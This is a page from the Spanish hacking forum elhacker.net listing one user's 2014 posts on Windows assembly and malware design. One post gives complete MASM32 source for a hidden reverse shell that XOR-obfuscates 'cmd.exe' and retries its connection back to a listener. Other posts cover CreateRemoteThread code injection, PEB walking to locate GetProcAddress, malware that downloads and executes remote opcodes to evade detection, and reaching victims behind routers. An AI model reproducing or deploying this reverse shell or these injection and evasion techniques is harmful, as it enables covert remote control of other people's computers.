elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Temas
Páginas: 1 2 [3] 4 5 6 7 8 9 10
21  Programación / Scripting / Analizar Ejecutable En Red? en: 26 Septiembre 2014, 01:15 am
Hola!

No estoy seguro si posteo en el Sub-Foro correcto, pero ahi va..

Tengo "a mi disposición" una lan con unas cuantas maquinas, mi intención es: desde una maquina poder enviar un ejecutable a toda la red para que cada una de las maquinas analicen el archivo con un AV (diferente), luego me retornen el resultado del análisis a la pc..

Dicho esto, no se me ocurre bien por donde empezar,, podría hacer un programa y copiarlo en cada maquina, (si es necesario)

Y para rematar, alguien sabe si existe alguna forma de correr el AV sin tenerlo activo todo el tiempo? O sea, que este instalado (o no, de ser posible) y hacer un análisis puntual y volver a cerrarse.. y todo esto sin UI, que el usuario no vea nada del proceso..

Bueno, si hay forma de hacer todo esto seria un lujo para mi.. me ahorraría mucho tiempo..

Saludos!
22  Programación / ASM / RTL_USER_PROCESS_PARAMETERS en: 22 Julio 2014, 07:02 am
Hi!
Tengo la estructura RTL_USER_PROCESS_PARAMETERS, de la cual quiero sacar la linea de comandos,, eso lo tengo, esta en CommandLine  pero si quisiera sacar la cantidad de argumentos como podría hacerlo?

Código
  1. Structure RTL_USER_PROCESS_PARAMETERS at 002D1528
  2. Address   Hex dump     Decoded data             Comments
  3. 002D1528  AC090000     DD 000009AC              ; MaximumLength = 2476.
  4. 002D152C  AC090000     DD 000009AC              ; Length = 2476.
  5. 002D1530  01000000     DD 00000001              ; Flags = 1
  6. 002D1534  00000000     DD 00000000              ; DebugFlags = 0
  7. 002D1538  00000000     DD 00000000              ; ConsoleHandle = NULL
  8. 002D153C  00000000     DD 00000000              ; ConsoleFlags = 0
  9. 002D1540  00000000     DD 00000000              ; StdInputHandle = NULL
  10. 002D1544  00000000     DD 00000000              ; StdOutputHandle = NULL
  11. 002D1548  00000000     DD 00000000              ; StdErrorHandle = NULL
  12. 002D154C  3A00         DW 3A                    ; CurrentDir_Size = 58.
  13. 002D154E  0802         DW 208                   ; CurrentDir_Maxsize = 520.
  14. 002D1550  C8202D00     DD 002D20C8              ; CurrentDir = "C:\Users\Central\Desktop\MRS\"
  15. 002D1554  0C000000     DD 0000000C              ; CurrentDirectoryHandle = 0000000C
  16. 002D1558  FC03         DW 3FC                   ; DllPath_Size = 1020.
  17. 002D155A  FE03         DW 3FE                   ; DllPath_Maxlen = 1022.
  18. 002D155C  C8192D00     DD 002D19C8              ; DllPath = "C:\Users\Central\Desktop\MRS;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Program Files\PC Connectivity Solution\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\AT"
  19. 002D1560  4800         DW 48                    ; ImagePath_Size = 72.
  20. 002D1562  4A00         DW 4A                    ; ImagePath_Maxlen = 74.
  21. 002D1564  C61D2D00     DD 002D1DC6              ; ImagePath = "C:\Users\Central\Desktop\MRS\MRS.exe"
  22. 002D1568  5600         DW 56                    ; CommandLine_Size = 86.
  23. 002D156A  5800         DW 58                    ; CommandLine_Maxlen = 88.
  24. 002D156C  101E2D00     DD 002D1E10              ; CommandLine = ""C:\Users\Central\Desktop\MRS\MRS.exe" HOLA"
  25. 002D1570  10082D00     DD 002D0810              ; Environment = 002D0810
  26. 002D1574  00000000     DD 00000000              ; StartPosLeft = 0
  27. 002D1578  00000000     DD 00000000              ; StartPosTop = 0
  28. 002D157C  00000000     DD 00000000              ; Width = 0
  29. 002D1580  00000000     DD 00000000              ; Height = 0
  30. 002D1584  00000000     DD 00000000              ; CharWidth = 0
  31. 002D1588  00000000     DD 00000000              ; CharHeight = 0
  32. 002D158C  00000000     DD 00000000              ; ConsoleTextAttributes = 0
  33. 002D1590  81000000     DD 00000081              ; WindowFlags = 81
  34. 002D1594  0A000000     DD 0000000A              ; ShowFlags = 0A
  35. 002D1598  4800         DW 48                    ; Title_Size = 72.
  36. 002D159A  4A00         DW 4A                    ; Title_Maxlen = 74.
  37. 002D159C  681E2D00     DD 002D1E68              ; Title = "C:\Users\Central\Desktop\MRS\MRS.exe"
  38. 002D15A0  1E00         DW 1E                    ; DesktopName_Size = 30.
  39. 002D15A2  2000         DW 20                    ; DesktopName_Maxlen = 32.
  40. 002D15A4  B21E2D00     DD 002D1EB2              ; DesktopName = "WinSta0\Default"
  41. 002D15A8  0000         DW 0                     ; ShellInfo_Size = 0
  42. 002D15AA  0200         DW 2                     ; ShellInfo_Maxlen = 2
  43. 002D15AC  D21E2D00     DD 002D1ED2              ; ShellInfo = ""
  44. 002D15B0  0000         DW 0                     ; RuntimeData_Size = 0
  45. 002D15B2  0000         DW 0                     ; RuntimeData_Maxlen = 0
  46. 002D15B4  00000000     DD 00000000              ; RuntimeData = NULL
  47.  

Como podrán ver, hay un argumento: "HOLA", la cadena es Unicode, así que no me sirve buscar '\0', aunque también esta CommandLine_Size y  CommandLine_Maxlen, yo preciso saber si se recibió al menos un argumento..

Gracias! Saludos!  ;D

PD: Ya que estamos, si alguien resuelve como sacar solo el argumento que tire el dato, aclaro por las dudas.. en el dump muestra
Citar
"C0:0\0U0s0e0r0s0\0C0e0n0t0r0a0l0\0D0e0s0k0t0o0p0\0M0R0S0\0M0R0S0.0e0x0e0"0H0O0L0A"
, por eso pido consejo..
23  Programación / ASM / Pasar 2 parámetros en inyección de código en: 16 Julio 2014, 02:27 am
Hi!

Alguien sabe como podría pasar dos parámetros por CreateRemoteThread? La inyección no es mediante dll, inyecto una función..

En MSDN dice:

Citar
HANDLE WINAPI CreateRemoteThread(
  _In_   HANDLE hProcess,
  _In_   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  _In_   SIZE_T dwStackSize,
  _In_   LPTHREAD_START_ROUTINE lpStartAddress,
  _In_   LPVOID lpParameter,
  _In_   DWORD dwCreationFlags,
  _Out_  LPDWORD lpThreadId
);


lpParameter [in]
A pointer to a variable to be passed to the thread function.

Y por ahi dicen que se podria pasar una estructura,, algo asi:

Código
  1. struct PARAMETER{
  2. char* str1;
  3. char* str2;
  4. int num;
  5. };

Yo debería pasar algo parecido en asm:

Código
  1. invoke CreateRemoteThread, Process, 0, 0, lpProcAddress, lpParameter, 0, 0

Funcion a inyectar:

Código
  1. INJECTED PROC lpParameter:DWORD
  2. ; Como separar esos dos datos?
  3. ret
  4. INJECTED endp
24  Programación / ASM / Problema con el PEB en: 4 Julio 2014, 02:17 am
Buenas!
Tengo el siguiente problema, estoy leyendo el peb, necesito que cada vuelta que da ese bucle, ebx se posicione sobre el nombre de la funcion exportada. Aclaro que la primer vuelta que da, ebx es correcto, apunta a ActivateActCtx cuando le sumo la direccion de kernel32 que tengo en eax

Código
  1. ; ********************************************
  2. ; Hasta aca, en eax tengo a kernel32.dll
  3. ; en ebx tengo la ExportTable
  4. ; ********************************************
  5.  
  6. mov edx, -1
  7.  
  8. bucle: ; Bucle para comprobar si es la función buscada
  9.  
  10. inc edx ; Para saber en que posicion está la funcion
  11.  
  12. mov ebx, [ebx + edx * 4] ; Direcion del nombre de la funcion buscada + Siguiente funcion
  13.  
  14. add ebx, eax ; RVA->VA | add eax, Kernel32Dir
  15. mov esi, ebx ; Mover a esi la funcion actual
  16.  
  17. lea edi, [FuncionBuscada] ; Mover a edi la funcion buscada
  18. mov ecx, 0Eh ; [FuncionBuscadaLen] Necesario cargarla en cada vuelta, porque se decrementa
  19.  
  20. repe cmpsb       ; Compara esi y edi, con una longitud de ecx
  21.  
  22. jnz bucle

Codigo ensamblable:

Código
  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4.  
  5. include windows.inc
  6. include kernel32.inc
  7. includelib kernel32.lib
  8.  
  9. .data
  10. FuncionBuscada db "GetProcAddress",0
  11. .code
  12.  
  13. inicio:
  14.  
  15. ; *******************************
  16. ; Obtener Kernel32.dll
  17. ; *******************************
  18. assume fs: nothing
  19. mov eax, fs:[30h]
  20. mov eax, [eax + 0Ch]
  21. lea eax, [eax + 0Ch]
  22. NextModule:
  23. mov eax, [eax]
  24. mov ebx, [eax + 30h]
  25. cmp byte ptr[ebx + 6*2], '3'
  26. jne NextModule
  27. mov ebx, [eax + 18h]
  28. mov eax, ebx ; EAX guarda el valor de kernel32.dll
  29. ; *******************************
  30.  
  31. ; ********************************
  32. ; Obtener direccion de funcion
  33. ; ********************************
  34.  
  35. add ebx, [ebx + 3Ch]
  36. add ebx, 78h
  37. mov ebx, [ebx]
  38. add ebx, eax
  39.  
  40. ; push ebx ; Guardamos el valor [ET] / Antes: mov [ET], eax
  41.  
  42. add ebx, 20h
  43. mov ebx, [ebx]
  44. add ebx, eax
  45.  
  46. ; pop ebx ; Recuperamos el valor de [ET]
  47.  
  48.  
  49. ; ***********************************************************************
  50. ; Hasta aca, en eax tengo a kernel32.dll, en ebx tengo la ExportTable
  51. ; ***********************************************************************
  52.  
  53. mov edx, -1
  54.  
  55. bucle: ; Bucle para comprobar si es la función buscada
  56.  
  57. inc edx ; Para saber en que posicion está la funcion
  58.  
  59. mov ebx, [ebx + edx * 4] ; Direcion del nombre de la funcion buscada + Siguiente funcion
  60.  
  61. add ebx, eax ; RVA->VA | add eax, Kernel32Dir
  62. mov esi, ebx ; Mover a esi la funcion actual
  63.  
  64. lea edi, [FuncionBuscada] ; Mover a edi la funcion buscada
  65. mov ecx, 0Eh ; [FuncionBuscadaLen] Necesario cargarla en cada vuelta, porque se decrementa
  66.  
  67. repe cmpsb       ; Compara esi y edi, con una longitud de ecx
  68.  
  69. jnz bucle
  70.  
  71. invoke ExitProcess, 0
  72. end inicio

Entiendo que el error esta en la linea 59, cuando edx vale 0, la direccion esta bien, cuando edx vale 1, la direccion salta para no se donde..

Gracias!!!
25  Seguridad Informática / Análisis y Diseño de Malware / Malware que descarga instrucciones? en: 23 Junio 2014, 00:38 am
Hola! Se me ocurrió algo hoy,, pero quería leer algunas opiniones antes de pasar a la POC..

La idea es hacer un programa que descarga opcodes de un servidor y luego los ejecuta, (los mete en la pila), podría ser un binario o un simple archivo de texto.. quizás eso podría evadir el análisis estático... no? Los opcodes podrían ser cosas como cargar una librería y hacer otra cosa.. digamos que el malware seria solo el motor que ejecuta otras ordenes.. a grandes rasgos seria la única firma detectable (el mismo motor, todas las demás funciones serian dinámicas) no se si me explico bien..
que les parece? seria viable?

Saludos!
26  Programación / Desarrollo Web / Servidor de juegos usando cgi-bin? en: 19 Junio 2014, 19:41 pm
Hola! Bueno, a lo mejor esto no va acá y es mejor en scripting..

Tengo entendido que para montar un servidor para juegos lo mejor es tener uno dedicado, con la posibilidad de instalarle programas, abrirle puertos y demás.. hacer lo que uno quiera.. pero este no es el caso.. quiero hacer unas pruebas sobre mi servidor, uno normal, con su cpanel, phpmyadmin, y todas sus limitaciones de configuración..  :silbar:

La idea es hacer un "pseudojuego" online, e ir probando el asunto del envió de datos.. ya intente con el protocolo html (en realidad probaba otras cosas, y de paso intente el juego) el asunto es que el protocolo html envía y recibe mucha información que en este caso no es necesaria.. sabemos que lo mejor es usar sockets UDP, pero como no tengo esa opción, se me ocurre hacer un programa, por ejemplo en PERL o C y meterlo en cgi-bin, el programa se encargaría de la información y de los jugadores..

Ustedes que creen?? Seria viable? Lo mas importante es que el envió y recepción de datos sea lo mas limpia posible, nada de cabeceras ni cosas raras.. tiene que ser por sobre todo RÁPIDO.

Leo opiniones!!  Saludos!
27  Programación / ASM / Como escapar del sector de booteo?? en: 22 Mayo 2014, 23:22 pm
Hi! Estoy intentando mostrar una imagen BMP desde el inicio del pc, desde 0.. Tengo el código de 512bytes, y creo que puedo cargar la imagen,, el problema es que la imagen sola pesa mas de 512.. ¿seria mejor usar "bootloader.bin" solo para salir del modo real y luego cargar la imagen en modo protegido?
De todas maneras.. cuando paso a modo protegido.. como sigo ejecutando código de otro archivo?

Digamos bootloader.bin inicia la pc, pone en modo prot. y como llamo a Kernel.bin?

No se si me logre explicar..

Saludos!
28  Programación / ASM / Dudas sobre direccionamiento en: 19 Mayo 2014, 00:23 am
Hola! Estoy retomando las lecturas de ASM.. y quiero entender bien el asunto del direccionamiento en modo protegido y modo real.. al principio no le di mucha bola,, y el libro me entrevero,, pero ahora me interesa saberlo a fondo..

Aparte,, creo que hay un error gigante en el libro, dice:

Citar
El modo protegido es el estado nativo del procesador, en el que estan disponibles todas las instrucciones y caracteristicas. Los programas reciben areas separadas de memoria llamadas segmentos, y el procesador evita que los programas hagan referencia a la memoria que se encuentra fuera de sus segmentos asignados.

Bien, con la segunda parte todo ok.. pero no es en modo real que están disponibles todas las instrucciones y características??

Bien, despues dice:

Citar
En el modo de direccionamiento real solo puede direccionarse 1MB de memoria, del 00000 al FFFFF hexadecimal. El procesador solo puede ejecutar un programa a la vez, pero puede interrumpir de forma momentánea ese programa para procesar las interrupciones de los periféricos. etc..etc..

Citar
En el modo protegido, el procesador puede ejecutar varios programas al mismo tiempo (nota mía: "al mismo tiempo"). A cada proceso le asigna un total de 4GB de memoria. A cada programa se le puede asignar su propia área reservada de memoria, y los programas no pueden acceder de manera accidental al código y los datos de los demás programas.

¿Por que? Quizás antes solo existían registros de 16bits?
Y la mas importante, cuando dice solo puede direccionarse 1MB de memoria, quiere decir que no importa cuanta RAM tengamos,, solo es accesible 1MB de ella? En cambio en modo protegido se puede acceder hasta 4GB.. por programa? Eso tampoco tienen mucho sentido (como yo lo interpreto) porque eso significaria tener unos pocos programas abiertos..

Gracias por la ayuda! Saludos!!
29  Programación / ASM / Remote Shell (Masm32) en: 14 Mayo 2014, 21:37 pm
Hola.. aporto con un codigo en masm.. no hay mucho que aclarar..

Código
  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4.  
  5. include windows.inc
  6. include kernel32.inc
  7. includelib kernel32.lib
  8. ; ----------------------
  9. include ws2_32.inc
  10. includelib ws2_32.lib
  11. ; ----------------------
  12.  
  13. .data?
  14. _Wsadata WSADATA <>
  15. _Sockaddrin sockaddr_in <>
  16. _Processinfo PROCESS_INFORMATION <>
  17. _StartupinfoA STARTUPINFOA <>
  18. .data
  19. _Comandline db "djc)bb", 0 ; -> cmd.exe xor 7
  20.  
  21. .code
  22. _Start:
  23.  
  24. ; SOCKET
  25. mov eax, 100007Fh ; -> 127.0.0.1
  26. mov _Sockaddrin.sin_port, 0b822h ; -> 8888
  27. mov _Sockaddrin.sin_addr, eax
  28. mov _Sockaddrin.sin_family, AF_INET
  29.  
  30. invoke WSAStartup, 202h, addr _Wsadata
  31. invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0
  32.  
  33. ; SHELL
  34. mov _StartupinfoA.hStdInput,  eax
  35. mov _StartupinfoA.hStdOutput, eax
  36. mov _StartupinfoA.hStdError,  eax
  37. mov _StartupinfoA.wShowWindow, SW_HIDE
  38. mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
  39. mov _StartupinfoA.cb, sizeof _StartupinfoA
  40.  
  41. mov ebx, eax ; Guardo el Socket Handle
  42.  
  43. ; CONNECT
  44. _noconnect:
  45. invoke connect, ebx, addr _Sockaddrin, sizeof _Sockaddrin
  46. or eax, eax
  47. jnz _noconnect
  48.  
  49. ; DECRYPT
  50. xor ecx, ecx
  51. push offset _Comandline
  52. pop eax
  53. _nozero:
  54. cmp byte ptr ds:[eax + ecx], 0
  55. je _zero
  56. xor byte ptr ds:[eax + ecx], 7
  57. inc ecx
  58. jmp _nozero
  59. _zero:
  60.  
  61. invoke CreateProcessA, NULL, addr _Comandline, NULL, NULL, TRUE, 0, NULL, NULL, addr _StartupinfoA, addr _Processinfo
  62. invoke ExitProcess, 0
  63.  
  64. end _Start

Suerte!! Saludos!
30  Seguridad Informática / Análisis y Diseño de Malware / Y como conectarse a través del router o firewall? en: 8 Mayo 2014, 07:28 am
Buenas!

Si estamos detrás de un router o firewall no seriamos visibles para "la victima" verdad? En el caso del firewall podemos solucionarlo abriendo los puertos correspondientes, pero no seguimos siendo inaccesibles desde fuera de la red por la naturaleza del router? Creo que se le llama "mascara de subred" (capaz que nada que ver..)

Se me ocurre usar una VPN, o algún otro método de tunneling, pero claro.. no le vamos a pedir a "la victima" que se instale algún programa para lograr eso... como se podría solucionar dicha situación??

Saludos!
Páginas: 1 2 [3] 4 5 6 7 8 9 10
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines